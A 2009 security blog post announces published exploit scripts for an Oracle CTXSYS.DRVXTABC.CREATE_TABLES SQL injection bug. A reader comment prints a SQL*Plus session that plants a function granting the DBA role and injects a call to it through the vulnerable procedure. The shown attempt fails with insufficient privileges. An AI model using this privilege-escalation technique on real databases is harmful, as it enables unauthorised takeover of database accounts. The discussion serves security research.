[Previous entry: "A new Russian Oracle Security Tool"] [Next entry: "Unwrapping PL/SQL"]
Two exploit versions of the ctxsys.drvxtabc.create_tables bug from Bunker
November 30th, 2009 by Pete
Post to del.icio.us
Post to Furl
Andrea Purificato (Bunker) emailed me yesterday to let me know that he has posted two exploit scripts for the CTXSYS.DRVTABC.CREATE_TABLES bug for 9i and 10g. He has posted two versions of the exploit. The first is the traditional one and the second uses cursor injection. Andreas main page also includes links to his usual perl versions of exploits as well.




December 1st, 2009 at 08:05 am
alxander "sh2kerr" polyakov says:


seems that it doesnt work, man
i think because ctxsys doesnt have dba role.
have u ever tried to run it?
SQL> CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
2 AUTHID CURRENT_USER AS
3 PRAGMA AUTONOMOUS_TRANSACTION;
4 BEGIN
5 EXECUTE IMMEDIATE 'GRANT DBA TO TEST3'; COMMIT;
6 RETURN(0);
7 END;
8 /
Function created.
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
TEST3 CONNECT NO YES NO
TEST3 RESOURCE NO YES NO
SQL> select * from user_sys_privs;
USERNAME PRIVILEGE ADM
------------------------------ ---------------------------------------- ---
TEST3 UNLIMITED TABLESPACE NO
SQL> exec ctxsys.drvxtabc.create_tables(''user'"."x" as select * from dual w
here 'USER'.own=0--','x',2);
BEGIN ctxsys.drvxtabc.create_tables(''user'"."x" as select * from dual where
'USER'.own=0--','x',2); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRVXTABC", line 190
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRVXTABC", line 23
ORA-01031: insufficient privileges
ORA-06512: at line 1
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
TEST3 CONNECT NO YES NO
TEST3 RESOURCE NO YES NO
SQL> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Prod
PL/SQL Release 10.1.0.2.0 - Production
CORE 10.1.0.2.0 Production
TNS for 32-bit Windows: Version 10.1.0.2.0 - Production
NLSRTL Version 10.1.0.2.0 - Production
SQL>